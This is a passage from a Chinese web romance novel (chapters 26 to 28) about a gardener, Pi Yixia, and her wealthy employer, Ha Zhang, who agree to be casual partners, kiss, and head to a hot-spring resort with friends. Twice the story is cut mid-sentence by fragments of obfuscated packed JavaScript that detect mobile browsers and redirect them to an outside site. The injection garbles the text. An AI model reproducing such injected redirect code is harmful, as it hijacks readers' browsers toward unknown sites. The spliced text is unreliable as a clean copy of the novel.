皮一夏慢吞吞朝他挪过去,在两人的腿还有一拳之距时停下,然后一手撑住沙发,上身缓缓探过去,中途深吸一口气,然后小心地凑过去,蜻蜓点水似的,碰了一下。 其实没太大感觉,只是软软的,但她的脸开始升温了。 皮一夏已经撤回身子,重新端正坐好了。 贺章眉心拧成个结,像看什么奇怪的东西一样,盯着她:“你在做什么?” “亲你啊。”不是你要求的吗? “我说的是,吻我,不是碰一下。还有,你离那么远,怎么培养默契?” “哦……”她立刻往他身边靠了靠,两人的腿已经挨到了一起。 贺章依然不满意,盯着那张无辜的小脸,突然感觉呼吸不畅,他攥住她手腕,猛地用力一拉,另一手顺势揽在她腰间。 皮一夏只来得及惊呼一声,反应过来时,她已经坐到了贺章腿上,面对面跨着……这进度会不会太快了?! 皮一夏双手扶着他肩,黑色西装的面料又冷又挺括,像他的神情。离得太近,她几乎能看清他下巴微微泛青的胡茬,还有漆黑的眼瞳里,自己的影子,鼻端弥漫着清新自然的气息,十分有存在感的手臂箍在她腰后,身体相接之处,传来蓬勃的热意。 她的脸色渐渐涨红,忍不住缩了一下。 “还在等什么?”他低声说。 目光灼灼,他的呼吸似乎也有些乱了。 他们可以这么亲近吗?关系到这个程度了吗?皮一夏羞得不敢看他,明明,更私密的事都做过了,眼下却好像小女孩初恋似的,生涩又不安,实在不像她。 她忽然找回些勇气,攀着他双肩的手微微用力,接着眼睛一闭,仰唇就贴了上去。 贺章在她亲上来的瞬间,身形一僵,手臂上青筋暴起,喉结重重滚动,呆了片刻,他开始反客为主,用唇舌描绘她。 “睁眼。”他命令道。 皮一夏不假思索地掀起眼皮,瞬间被一双漆黑的眸子吸进了深渊,心脏砰砰砰狂跳起来。 他连接吻也是霸道的。一手拦在她腰间,另一手扣住她后颈,嘴唇包裹着她的,不停吮弄,却只允许她在他圈出的范围内动作。 皮一夏唇周都被他吮得湿淋淋,不由生了反骨,想给自己挣回些颜面,红唇微张,试图含住他的,可才一动作,又被包裹回去,扣着她后颈的手更用力了。 她不服,小小地哼了一声,直起腰身跪坐,如此一来,她就比他高出半头,这形势于她有力,她顺势环上他脖颈,微低着头,终于如愿以偿,含住了他的唇峰。 贺章忽然笑了一下,温热的鼻息扑在她人中处。 “你笑什么?” 粉唇稍离,转瞬又被颈后的手扣了回去。 贺章很不满。她只是蹭他,还不曾张口,他忽然掐了掐她腰间的软肉。皮一夏“啊”地脱口叫了一声,贺章顺势探进她口中,拖出湿热的小舌,吮弄,纠缠不休。 皮一夏招架不住,面红耳赤地往后撤,却被他死死扣在身前。感觉过了有一个世纪那么长,舌根酸疼,嘴唇也麻木了,他终于放开她。 两人的呼吸都急促。一个脸蛋酡红,一个瞳色沉黑,目光交缠之间,胸膛起伏难平。 皮一夏先清醒了,欲放开手,却被贺章按住,仍旧环在他颈后。 “默契培养。”他说。 “……” 在巴塞罗那时,他们只是进行了最后一步,从始至终没有接过吻。 贺章允许她亲他的脖颈,或是胸膛,但不允许碰嘴。她当时想,为什么排斥亲吻呢?真是个奇怪的人。可是现在他们成了床伴,他又要求从亲吻开始熟悉,还是个奇怪的人。 “你之前,在巴塞罗那,为什么不和我接吻?”她轻声问。 贺章低眼看怀里的人:“当时不熟。” 她讶然抬眼:“可是我们……”都到最后了,还要怎么熟? 贺章却没有多解释:“就是这样。” 他觉得,接吻是情人间才会做的,最亲密的事。皮一夏以为他态度敷衍,是热情退去,想回家了,于是识趣地跪坐起来,试图从他腿上下来,却再次被贺章按住。 “做什么?”他神色不悦。 “你不回家吗?” 贺章噎住,冷脸沉默片刻,声音依旧淡漠:“再培养一会儿,做事要认真。” “……哦。” 其实她想说,明天再培养也行的,但被他抱在怀里,她感觉胸腔被巨大的愉悦和幸福填满了,自然也不想放开。 她忽然靠上他肩头,小声问:“你以前,有过床伴吗?” 应该没有吧……那晚,他一开始似乎并不精于此道。 “没有。” “没想过找一个吗?”她又问。 “没有。” “为什么呢?想的时候怎么……” “我很忙。”他截断了这个问题,“没空想这些。何况,情欲这种东西,不过是一种动物性冲动,人和动物的区别就在于,人懂得克制。” 真是个老古板。 “在骂我?”他低了头,嘴唇在她眼睛上方。 皮一夏憋住笑意,瞄他,这次干脆承认了:“你怎么知道?” “哼。” 片刻,他又说:“我们关系存续期间,你不能找其他人。” “当然。”她一向有契约精神,“你也是。” “还有,除了周三和周六,另外两天,我打算安排在周一和周五,有问题吗?” 皮一夏想了想:“周一我可能会比较疲惫……但是,先这样定吧,之后如果任何一方觉得不合适,再调整也行。” “周一为什么会疲惫?”贺章问。 皮一夏不敢相信他竟然会问这种话:“周一是打工人的世界末日啊,这还用问吗?你难道不觉得,经过两天周末后,第一天上班很痛苦吗?” 贺章皱眉:“没感觉。对我来说,周一到周日,每天都一样。“ “都一样什么?一样要干活吗?” “嗯。” “也是,你当老板的,没有休息日……但是,我不会同情资本家的!” 他忽然笑了一声,两指捏住她下巴:“你为什么讨厌资本家?资本家给社会创造财富,给普通人工作机会不好吗?” “不好!普通人的梦想是不用工作。资本家的本质是剥削劳动价值,不是创造社会财富,你别想PUA我,我跟你们资本家势不两立,永远坚定地站在无产阶级队伍中!” 她的眼睛亮晶晶,贺章心头一动,忍不住又亲了下她的嘴:“傻话!” 手机嗡嗡震动了两声,皮一夏的目光扫向茶几,是贺章的,但他坐着没动。 她出声提醒:“你手机响了。” “我听见了。” “那你为什么不看?” 贺章面无表情,目光掠过她因遭受过蹂躏而稍显红肿的唇:“我在努力,推迟被剥夺劳动价值这件事的发生。” 皮一夏笑起来:“原来老板也不喜欢工作。” 又待了片刻,贺章终于拿起手机,开始回复消息。皮一夏在他打字时,趁势从他腿上下来,坐回沙发上。 过了几分钟,贺章收起手机,看向她。 “要走了吗?”她问。 “嗯。” 不知是不是她的错觉,他那一向难辨情绪的眸子里,似乎闪过一丝不舍。未来得及琢磨,贺章便站了起来。 皮一夏跟着起身,穿上拖鞋,跟在他身后,送到门边。 开门前,他忽然又转过身来,说了一句:“忘了件事。” “什么?” 贺章从西裤口袋里,掏出一个小物件,递到她面前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577790|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是一枚胸针,玫瑰花形状的,红色的花朵,鎏金花枝,叶片上镶满了碎钻,很别致。 皮一夏接过来,疑惑道:“给我的?” “嗯。” 她盯着胸针看了会儿,又递了回去:“我不能要。”这胸针一看材质和做工,就知道价值不菲,她没有理由收这么昂贵的礼物。 贺章没接,只说:“作为我们契约的物证。”知道她一向在财物上分得清,他不得不补充一句,“以后……你再还我就是了。” 皮一夏沉默了一会儿,点头:“那好吧,谢谢。” 贺章拉开房门,走了出去,又回身看她:“明天上班,不要迟到。” “明天还要上班?!”皮一夏大惊,“不是国庆放假吗?我记错了吗?” 贺章有点无奈:“我是说,在花园里上班。” “……哦,吓死我了。你放心吧!” 再没有别的话可聊了,贺章最后看了她一眼,叮嘱:“睡觉锁好门,别轻易给人开。” “嗯,我知道。” “再见。” “拜拜,Ethan。” 贺章走后,皮一夏回到房间,抱着她的大企鹅在床上打滚,开心的情绪从眉眼间溢出来,怎么也压不住。 她忍不住要跟苏晨雪分享此刻感受,却突然想起,两人今晚刚打过架,气得又把手机丢回床上。 这时,进来一条微信消息。 苏苏:「我不该打你的,对不起[原谅我吧]」 皮一夏气呼呼回她:「我不会原谅你!是你说不跟我做朋友,干嘛还来道歉[哼]」 苏苏:「你也打我了[委屈],你也说,不跟我做朋友了。」 皮一下很开心:「那还不是因为你先打我!反正,你好好想想怎么让我消气吧。」 苏苏:「我明天请你吃好吃的,好不好」 皮一夏想了想:「我明天要去贺老板家打工,后天也有事[高冷]」 苏苏:「我去贺章哥哥家找你,当面给你道歉[爱你][爱你]」 贺章哥哥!叫这么亲!哼!! 她没有再回复,抖开被子钻进去,准备睡觉时,一个念头蓦地闯进脑子里:苏晨雪莫名其妙打她,难道是因为贺章?! 皮一夏瞬间懵了。 可是,上次跟她讲巴塞罗那艳遇时,苏苏没有表现出对贺章的好感,不是说不熟吗?难道都是装的? 难道,贺章念念不忘的人,是苏苏?他回国以后,两人接触变多,表明心迹,或者旧情复燃,突然双箭头了?! 不然为什么,苏苏在看见贺章时,突然冲上来打她?但是也说不通——如果是这样,贺章为什么要答应床伴的提议? 皮一夏想到脑子发热,依然没有答案,索性直接问苏晨雪:「你跟贺章,相互喜欢了吗?」 她咬着手指等了会儿,收到回复:「当然没有!」 皮一夏松了口气:「那你到底为什么打我?!」 这一次,隔了三分钟才收到一条:「我明天告诉你。」 带着这个疑问,皮一夏这晚睡得并不好,做了一晚上豪门男女爱恨纠葛的梦,半梦半醒间,误把梦当作现实,气恼地想,她要拉黑苏晨雪这个骗子! 结果早上睁开眼,只记得做了一个很复杂的梦,梦里发生什么,忘干净了。 不过今天是假期第一天,还是个大晴天,皮一夏心情很好,起床收拾洗漱完,就往丰和壹号别墅赶。 贺章正在庭院的露台上坐在看书。时不时抬手看一下表,八点五十九分,皮一夏还没到,他的脸色越发沉了。 正在这时,庭院大门被猛地撞开。 “来了来了我来了……” 皮一夏站在大门后,弓背弯腰,双手扶膝气喘吁吁。贺章的视线穿过庭院,落在她身上,眉头渐渐舒展开,片刻,又转回书上。 皮一夏喘匀了气,快步走过来,笑吟吟打招呼:“早上好,Ethan!” “我记得昨晚说过,不要迟到。” “我没有迟到啊,最后一分钟进门的,极限打卡!” 贺章淡着脸抬眼:“为什么要极限打卡,就不能早点出门?” 皮一夏振振有词:“你不懂,我是在维护劳动市场秩序,不让资本家占取打工人更多便宜!” 贺章瞪着她。 皮一夏忽然笑了:“逗你的!我今天没打车,坐公交来的。刚发现从我家到这里,有直达的公交车,一趟能省三十块钱打车费。” 贺章从来没有为省三十块钱,选择坐公交的生活经历,因此完全不能理解这种行为。 “你很缺钱?” 他放下书,起身往别墅里走,皮一夏抬脚跟上。 “不算缺。” 贺章更不解:“那为什么要省这三十块?相比公交车,出租车显然更舒服,也更高效,能为你省下更多时间。” 皮一夏撇着嘴,一脸无语:“太子爷!我省下时间做什么呢?如果单位时间里,没办法创造更多价值,这就是无意义时间,没有节省的必要。相反,我坐1次公交,省30块,一个月就省240块,够我喝12杯奶茶,你说哪个划算!” 贺章拉开岛台的座椅,让她坐,一边皱眉说:“你坐1次公交,浪费20分钟,一个月就浪费160分钟,这160分钟可以用来阅读、思考、看风景,做丰富生命的事,怎么能说是无意义时间?” “我在公交车上,也可以阅读和思考啊,一路上都在阅读呢!” 贺章把早餐放在岛台,好笑地瞥她:“你阅读的是娱乐新闻,思考的是明星八卦吧?” “……”怎样! 皮一夏恼羞成怒:“娱乐新闻也是新闻,让看的人心情愉悦,怎么可以歧视!而且,不是谁都像你一样,活得那么严肃古板,每分钟都要创造价值,都有意义。活着就是,怎么开心怎么来嘛!” 贺章挑了挑眉,没再说话。 两人并肩吃早餐,皮一夏觑他神色:“你怎么不说话?”不是被她怼生气了吧。 27. 称呼 贺章停下筷子,神色郑重:“在思考你这番关于价值观的高见,我觉得,有道理。是我以己度人了。” 老板竟然向她认错?! “嘿嘿……”皮一夏讪笑两声,在他的注视下默默低头,“你说的,其实也有道理。每个人价值观都不同,各人有各人的活法嘛,正因为这样,世界才绚烂多彩啊……对吧?” “嗯。对。” 怎么回事,今天这么好说话?难道是反讽? 皮一夏盯着眼前的盘子,突然瞳孔地震,缓缓转过头,憋出一句:“我该去工作了。” 本来就是极限打卡,怎么还敢坐下来吃饭呢?她说着就从高脚椅上跳下来,却被贺章攥住了手腕。 “吃你的饭。” “可是……” “我是不近人情的资本家?饭都不许员工吃?” 皮一夏“哦”了一声,重新坐回去。可是,他还攥着她手腕,掌心干燥温热的触感,让她忍不住回想起昨晚的事。 手指在岛台上挠了挠,她红着脸说:“你可以放开了。” 贺章愣了一下,才意识到还抓着她,握拳抵到唇上,扫了扫嗓子,借机松了手。 一直到早餐吃完,两人都没再开口。时不时瞥一眼对方,贺章看到的,总是浅黄的泡面卷长发,皮一夏看到的,总是严肃正经的侧脸。 吃完饭,皮一夏要去洗碗,贺章说:“放着吧。去工作。” “那碗怎么办?” 贺章淡淡道:“显然,你的单位时间即将为我创造价值,而我的单位时间,此刻没有价值。” “……” 皮一夏抿了抿嘴,默默放下盘子:“辛苦你了。中午我来洗。” 花园里的工作还是那些,皮一夏越做越熟练,而且照顾了一段时间,她对这些花草生出了感情,像桂叔说的那样,当自己的孩子了。 浇完花后,开始检查每一株的健康状况。花坛一角有几株蝴蝶兰,叶片枯黄很明显,这是什么病来着?她仔细回想,却没有任何印象,不得已,只好给桂叔拍照发过去问情况。 过了快两个小时,桂叔还没回复,她只好去请教贺章。 他正在露台上打电话,皮一夏站在一旁等,他抬眼扫见,朝旁边椅子上偏了偏头,示意她过来坐。 皮一夏摆了摆手。贺章没再说什么,很快结束了电话,问怎么了。 “有几株蝴蝶兰,叶子枯了,我不知道是什么病,你能去看看吗?” 贺章点头,随她走到花园,翻着叶片看了看:“这不是病,是天气冷了,冻黄的。” “那该怎么办?这花种在地上,又不能挪进屋子里。” “不用管。” “那岂不是要冻死了?” 贺章奇怪地看着她:“难道你还指望,这花园能四季常青?现在还不算太冷,等到了冬天,全都要冻死。” “那到冬天怎么办?花园里岂不全是枯枝,没有看头了?” 他找花匠照顾花园,不就是为了四季常青,繁花盛放吗? 贺章抿唇笑:“我没打算干涉植物生长的自然规律,冻死就冻死了,到了春天还会发芽。如果根也死了,那就拔掉种别的。” “好吧。” 他还真是言行一致,不干涉别人的人生,连养花也是。 “还有问题吗?”贺章问。 “没有了。” 皮一夏想了想,跑到小木屋里,过了一会儿,拎了一个小木筐出来。 贺章疑惑:“你要做什么?” 她从筐里拿出几个透明的塑料袋,很大,装垃圾那种,冲他晃了晃:“我去救救它。能撑多久算多久吧。” 皮一夏拿上垃圾袋,走到花坛角落,将一株蝴蝶兰兜头罩住,在靠近花根的位置系了个结,又在塑料袋上扎了几个气孔……另外几株也是一样的处理方法。 贺章:“……” 做完这些,她笑着跑回来说:“你去忙吧,我这里不需要你了。” 塑料袋在微风里飘飘荡荡,存在感盖过了整片花园,贺章面无表情,收回视线,想说点什么,对上她不解的、无辜的眼神,又摆了摆手。 算了,由她折腾吧。 正要回去,忽听人喊:“皮皮!” 两人顺着声音,朝庭院门口看过去,苏晨雪来了,身后还跟着褚彦,他手里拎着大包小袋。 “你怎么这会儿来了?”皮一夏扬声问。 苏晨雪小跑到跟前:“我来找你道歉呀。” 皮一夏忽然记起这事,抱起胳膊,偏头“哼”了一声:“可是我上午还有工作,我以为你中午才来。” 苏晨雪凑过去,搂住她腰晃了晃:“你别生我气了嘛!” 接着又转头看向贺章,温温柔柔地说:“贺章哥哥,能不能让皮皮请会儿假,我们今天带了好多吃的,在你家吃烤肉好不好?” “不许叫他贺章哥哥!”褚彦说。 就是,叫什么贺章哥哥,那么亲!皮一夏心想。 苏晨雪一愣:“那我叫什么?” “就叫贺章!” “……不太尊敬吧?”贺章哥哥看起来好高冷,感觉跟长辈似的。 “你尊敬他做什么?”褚彦瞪了贺章一眼,“他刚摆了你哥一道,丢给我个烂摊子。你要实在不想叫贺章,就叫英文名。” “哦。” 皮一夏心里一乐,看褚彦更顺眼了,主动打招呼说:“褚先生,你们带了什么好吃的?” 贺章脸一沉:“叫什么褚先生,叫他褚彦。” “……不太尊敬吧?” 再怎么说,褚彦还是苏苏的哥,怎么好当面直呼其名。褚彦心说,这姑娘完全忘了自己昨天醉酒时已经喊过了。 他嘴角一勾,脾气很好地笑笑:“没事没事,就叫我褚彦吧。或者你跟晨晨一样……叫哥。”说着挑衅地看了眼贺章。 贺章脸色更沉。 苏晨雪却抢先说:“就叫褚彦吧,我哥不在意这些。” “哦。”既然当事人没有异议,她只好从善如流。 因为称谓的事,纠结了好几分钟,褚彦已经把手里的袋子,放到了草坪上。 苏晨雪继续追问贺章:“皮皮可以请会儿假吗?” 贺章扫了对面人一眼,“嗯”了一声。 “耶!” 两个姑娘击了下掌,皮一夏想起还没讲和,于是立马收起笑容,神色高冷地问:“你想怎么道歉?” 苏晨雪小声说:“咱们去榕树底下玩儿。”说完又指挥褚彦,“哥,你把烤肉的工具摆起来,还有肉和蔬菜,先收拾着,我跟皮皮说一会儿话。” 褚彦揉了揉她头顶:“去吧。” 贺章瞧着两人手拉手走远,转身就往别墅方向走。 “你干嘛去!”褚彦气得想打人,“好意思吃现成的吗你?!” 贺章并不理会,褚彦恨恨骂了句:“就这死样子,我看你什么时候追上人姑娘!” 贺章听见这话脚步一顿,回身挑眉说:“彼此彼此。” 褚彦瞬间吃瘪。 好在贺章也不是彻底的甩手掌柜,等褚彦在花园里搭好帐篷、摆上椅子、洗干净菜,该处理肉的时候,他回来了,手里拎着一个烧烤架。 “怎么不等吃完了你再来?”褚彦见着他就奚落了一句。 贺章搭着烧烤架,说了句:“你差不多行了。闹什么脾气?” “我闹脾气?你请我的时候,可没说要丢给我个裁员的烂摊子,吃力不讨好,说好的让我当二世祖呢?我就不该答应你! 贺章头也没抬:“裁员是人事部的事,用你操什么心。” “你……好!你说的啊,我可甩开手当掌柜了。” 贺章“嗯”了一声,褚彦倒真有点佩服了。 “这内忧外患的,你还能这么淡定。这回去日本,跟银丰资本没谈拢吧?” 贺章没说话。 褚彦勾起嘴笑了:“还有你吃瘪的时候?活该!” “银丰狮子大张口,不肯出售华森的股份,这事在意料之中。如今华森成了一块肥肉,银丰自然不肯轻易撒嘴。” “那你打算怎么办?”褚彦偏头看他,“我听说你在美国见了MK的老大Alex,还听说,这位Alex是日裔美国人、银丰资本的三公子,跟家族之间有很深的仇怨,做梦都想扳倒自己的亲爹和哥哥,让我猜猜,你想围魏救赵?” 贺章瞳中闪过一丝赞赏:“MK只需在合适的时候,给银丰制造点乱子,回购华森股权这事就好办。” “你答应MK什么?” “一套技术处理模型。” 褚彦撇嘴:“就你从上学开始,天天抱个破电脑开发的那套机器人程序?” “嗯。” 贺章已经架好烤炉,正在点火,褚彦把蔬菜和肉都摆到桌子上,又说:“有一家叫‘远望’的媒体报道,说华森跟银丰资本的谈判中止,银丰昨天的股价跌了13.5美元,创造了三个月来最大单日跌幅。我挺奇怪的,这家媒体对华森盯得真紧,你人还没落地,国内消息就出炉了?” 贺章笑了一下:“我让人放的。” “你?!”褚彦目露惊讶,转念就想明白了,“故意放出消息,一来让华森的投资者保持关注,二来向银丰施压……阴险,你太阴险了贺章!别怪我没提醒你,你这一肚子坏水,要是用在姑娘身上,就等着倒霉吧!” 正说着,皮一夏和苏晨雪挽着手回来了。 褚彦朝贺章丢了个看笑话的眼神,突然扬声说:“皮皮,我告诉你个秘密,关于贺章的!” “什么?”皮一夏问。 “他呀……”话没说完,被一颗土豆塞住了嘴。 “嘴太闲,就吃东西。”贺章淡淡地说。 苏晨雪笑着走过去,取走褚彦嘴里的土豆:“没磕到牙吧?” “没事。” 皮一夏眼珠一转,忽然问:“褚彦,你有喜欢的人吗?” 话音刚落,苏晨雪凶巴巴朝她使眼色,皮一夏抿嘴笑了。 刚才在榕树下,她终于知道,苏晨雪为什么打人了:当时她坐着褚彦的车回来,还披着褚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588459|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦的风衣,苏晨雪误会她和褚彦……那什么了,这位暗恋继兄的大小姐吃醋了! 这么大的事,苏晨雪竟然从来没透露过,真不够朋友!不过现在知道了,也不算晚,她不妨推波助澜一把。 皮一夏问完,紧盯着褚彦的脸,然而不过一瞬的功夫,褚彦神色自若地反问:“你先告诉我,你有没有喜欢的人?” 皮一夏顿时噎住。 两人之间的眉眼官司,惹得苏晨雪心里七上八下。 贺章凉声问:“还烤不烤了?” 皮一夏缩了缩脖子:“我来,我来……” 说着走到贺章身边,伸手跟他要烤肉夹,贺章左手递到半路,她抓住了夹子,他却没松开,反而却伸出右手,握住了夹子。 皮一夏屏住呼吸,身形也僵了,心脏不由自主地狂跳起来。她此刻被贺章圈在怀里,后背贴着他胸膛,手臂外侧是他的手臂,他的下巴擦着她耳朵……好像在亲她。 然而很快,贺章松开了左手。 “吃你的去。” ……原来只是换手。他的神情,好像不是在烤肉,而是在谈一件企业并购的大事,正经且严肃。 另一边,褚彦和苏晨雪调完了蘸料,苏晨雪喊她:“皮皮,你来吃。哥,你去帮忙烤肉吧。” “好。你少喝点饮料。”褚彦嘱咐道。 皮一夏坐到帐篷前的椅子上,问苏晨雪:“为什么不能喝饮料,你生病了吗?” “有点肠胃炎,已经好了,我哥大惊小怪。”苏晨雪说着,给皮一夏夹肉,“你快吃,烤得很好。” 皮一夏转头瞧了瞧褚彦,她莫名感觉,褚彦对苏晨雪不是没心思。还是说……单纯的兄妹感情? 肉烤得差不多,贺章和褚彦也过来了。 秋高气爽,花园里香风阵阵,四人坐在帐篷遮出的荫翳里,端起可乐碰了一杯,边聊天边吃烤肉。 褚彦在饭桌上谈笑自如,时不时讲起风雅逸事,气氛周旋得既不沉闷,也不聒噪,实在是个很适合聊天的朋友。吃到尾声时,他忽然说:“想不想听,贺大公子和一位美女的故事?” 苏晨雪捧场:“想听!” 皮一夏看向贺章,嘴角扯出个笑:“想听。” “还想吃土豆?”贺章语含警告。 褚彦笑着起身,远离贺章几步,说:“耶鲁文学院教授的女儿Jessica,对咱们贺大公子一见钟情,展开了惊天动地的追求,围追堵截、酒饭邀约、写诗送花……终于打动了他那颗顽石一样的心。” “于是在一个风影绰约的夜晚,有人看见,贺公子和Jessica并肩坐在湖畔谈心赏月……” “褚彦。”贺章突然开口,截断了他的话,“再胡说八道给我出去。” 褚彦笑吟吟停下话头,溜达回桌边坐下。 皮一夏看向贺章,他似乎有点恼了,眉头皱起来,脸色更冷了,是被褚彦戳到了情伤,所以恼了吧。 她勉强扯了扯嘴角,胃里却像喝了一壶醋,烧起来。 “皮皮,咱们也去赏月吧?”苏晨雪忽然说,“我知道一家汤泉会馆,在山里,可以下午泡温泉,晚上赏月,好不好?” “可是我还要工作。” 而且,苏晨雪选的地方一般都是高档会馆,消费水平不低。上次小辰生日,她请贺章吃饭已经花了一大笔钱,实在不舍得再花。 “今天剩一点,明天再做嘛!”苏晨雪看向贺章,“可以吗?” 贺章问皮一夏:“你想去?” “我……”出去玩当然想,关键是不想花钱,“苏苏,要不咱们改天再约吧!” 褚彦不想让苏晨雪失望,于是说:“难得放假,轻松一下嘛!姓贺的,你也一起,咱俩当司机!” 贺章倒是没有异议。 三双眼睛盯着皮一夏,就等她一个人的决定,她纠结了会儿,问贺章:“我能去吗?” 贺章说:“准了。” 苏晨雪笑着起身:“那我先定票,咱们分头回家收拾东西,然后我开车去接你。”大小姐雷厉风行,一会儿功夫订完了票,拉上褚彦就走了。 皮一夏整理好草坪,回家去收拾衣服。下午两点,她在家等苏晨雪来接,不料却等来了贺章。 “你怎么来了?” 贺章说:“褚彦家在东边,接你绕远,已经先出发了。” “哦。” 苏苏怎么不跟她说一声呢。 正想着,苏晨雪的微信来了:「皮皮,哥说Ethan去接你了,那我们到汤泉会和。」 皮一夏收起手机,泰然等贺章发动车子,但他一直没动作,她也不催。说实话,她现在不太想跟贺章说话。 褚彦的话,证实了贺章确有一个白月光存在,原来是耶鲁大学教授的女儿,想必当时一定爱得刻骨铭心,才会在分手后念念不忘,连提都不能提。 心脏酸胀酸胀的,她低着头不说话。 过了足有两分钟,车子还没发动,她终于忍不住问:“不走吗?” 贺章盯着她,忽然说了句:“要接吻吗?” 28. 汤泉 “……现在吗?”皮一夏有点懵。 贺章很冷静:“今天是周六。” 他在提醒她,今天本来也是约见两小时的日子。 是又要拿她去忘怀前任吗?可是那一晚,他不是说过没必要吗?胃里的酸水都跑到眼睛里了,她忍不住眨了眨。 是她越界了。 他们是床伴,又不是恋人,她不该探究贺章的白月光前任。 沉默几秒,皮一夏说:“好吧。” 贺章解开安全带,探身到副驾,捧起她的脸,果断吻了上去。 直到这时,因为她跟褚彦说笑而产生的焦躁才稍稍抚平一些。 皮一夏心里虽然酸涩,但他的吻却营造出一种他们在恋爱的假象,她还是克制不住地心动,脸颊火速升温,呼吸有些不畅。 “抱住我。”贺章说。 他的鼻息滚烫,将她紧紧压在座椅靠背上,她感觉脸都快烫熟了,双手抵住他胸膛,只想推远一些。 “停……停一下。”觑着他换气的时机,她勉强逃出生天。 贺章不解:“怎么?” “快被你憋死了……”她小声控诉。 “你可以换气。” 倒是给她换气的机会!简直要把人吃掉了。 “好吧。”贺章妥协,“我懂了。” 说完又亲了上去,不过这一次,没有先前那么生猛和无所顾忌了,含吮几下之后,会退开一点,给她喘息的时间。 亲了一会儿,皮一夏适应了节奏,感觉很舒服,从他的动作里,还体会出几分温柔的意味,手臂也不由自主地环上了他的腰。 眼角余光不经意扫过窗外,她忽然“啊”了一声,一把推开贺章,把头埋在他怀里:“有人!” 贺章转头,斜前方的马路上站着个小男孩,约么五六岁,睁着清澈的大眼睛,正在盯着他们看。 贺章将她搂在怀里,藏了一会儿,那小孩见没有热闹可看,就走开了。但他没出声,仍然抱着她。 又过了一会儿,皮一夏闷声问:“走了吗?”边说边探出头,往窗外瞟。 贺章顺势放开扣在她脑后的手:“刚走。” 皮一夏松了口气。 “还亲吗?”贺章盯着她红扑扑的脸,视线再转到唇。 “……不了吧。”皮一夏躲开他眼神,“我们该出发了。” 贺章虽然不满,却没有多说什么,“嗯”了一声,启动车子。 往汤泉会馆去的路上,皮一夏一言不发,贺章瞟了她好几眼,终于忍不住问:“在想什么?” “Jessica。”她脱口而出。 说完有点不安,偏头打量贺章表情,他似乎有点不高兴,皱着眉说了句:“别听褚彦胡说八道。” 是胡说八道吗?不是都有人看到他们并肩赏月了吗?俊男美女、花前月下、交颈鸳鸯、互诉衷肠……到现在连提起来都要生气,哼! “我就从来没对哪个前任念念不忘过!”她有点赌气地说了句。 从来、哪个、前任……贺章很会抓重点。 “你有几个前任?”他问。 皮一夏有点懵。重点难道不是“从来没有”吗?他难道不该佩服她在男女关系中的干脆果决吗? “……也没有几个。”她还是回了句。 “那是几个?”贺章继续追问,语气凉凉的。 皮一夏默默掰着手指数。 贺章脸色慢慢沉了:“五个?” 她低头不语。 “六个?”方向盘上的指节泛白。 皮一夏耳根有点热。 贺章深吸一口气:“七个?”脸色更沉,语气也更凉了。 她的头快低到腿上了。 贺章静了几秒,忽然笑了一声,是那种大为震惊之后感到荒唐的低笑。 “皮一夏,你有收集前男友的癖好?!”贺章脸色黑沉如墨,声音冷得结冰。 皮一夏忽然生了反骨,“有、有几个前男友怎么了?”话是这么说,底气多少有点不足。 “而且,我几个都抵不上你一个,干柴烈火、刻骨铭心的!”她又补了一句。 贺章揉了揉额角,强压下情绪:“为什么要谈那么多男朋友?” 他这话问的,好像她同时谈了很多男朋友一样,她每段都是一对一好不好……虽然这也没什么好夸口的。 “想谈就谈了呀,恋爱会让人开心嘛!” 方向盘上的手紧了紧,贺章暗暗咬牙:“既然开心,为什么不停分手?” “恋爱又不是每天都开心,不开心了,下头了就分手啊,这还要问。”她振振有词,仿佛理所当然。 贺章想到她对自己也是一样,用完就扔,且他还不如那些前男友,连个正经名分都没有,一时间气得只想停下车,狠狠咬那可恨的嘴一口。 “所以,”贺章勉力压下情绪,“为什么不找下一任?” 皮一夏不太理解,这句话什么意思。 是在问,为什么她跟前任分手后,不找下一任恋爱对象,而是找了个床伴? 因为心动了。喜欢了。但高攀不上。 床伴说不定不会下头,比恋爱还长久。 “麻烦。不想谈了。”她说。 贺章默了默,又问:“你打算跟我维持多久的关系?” 皮一夏瞟了眼他,轻声说:“这不该由你决定吗?” “为什么由我决定?” 因为我目前看不到下头的迹象。 “你是老板,当然你来定。”皮一夏偏头,目光落在他淡漠却好看的眼瞳里,“你觉得多久合适?” 到这会儿还拿他当老板,似乎无论他说多久她都能接受,随时都可以结束关系。 贺章气恼,但面无表情:“要试一试,才知道。” “试什么?” 贺章盯着那张乖巧但可恨的小脸,咬牙道:“试试我们还合不合拍。” 他这意思,是要试试最后一步,根据感受来决定维持多久的关系?今、今天就试吗……不会试完不喜欢,就结束了吧?皮一夏有点紧张,也有点尴尬。 “我困了,我要睡觉。”她忽然闭上眼,脸朝车窗。 贺章却伸出手,掌心按在她头顶,稍一用力,就把人扭转过来。 “不准睡。” “……”这多尴尬。 粉红的唇瓣微微嘟了起来,眼睫垂下,一脸的不乐意,贺章抿唇笑了笑。 “我开车会困,你负责说话提神。” “说什么?” “这是你该想的事。”这时候,来自老板的威压就出来了。 接下来,皮一夏搜肠刮肚找话题,从明星八卦聊到社会民生,又从秦皇汉武聊到城市风情,也亏她是做宣传工作的,什么热点话题都要有所涉猎。贺章呢,他大多时候是听,偶尔提问,或是点评一番,又或者揶揄她两句。 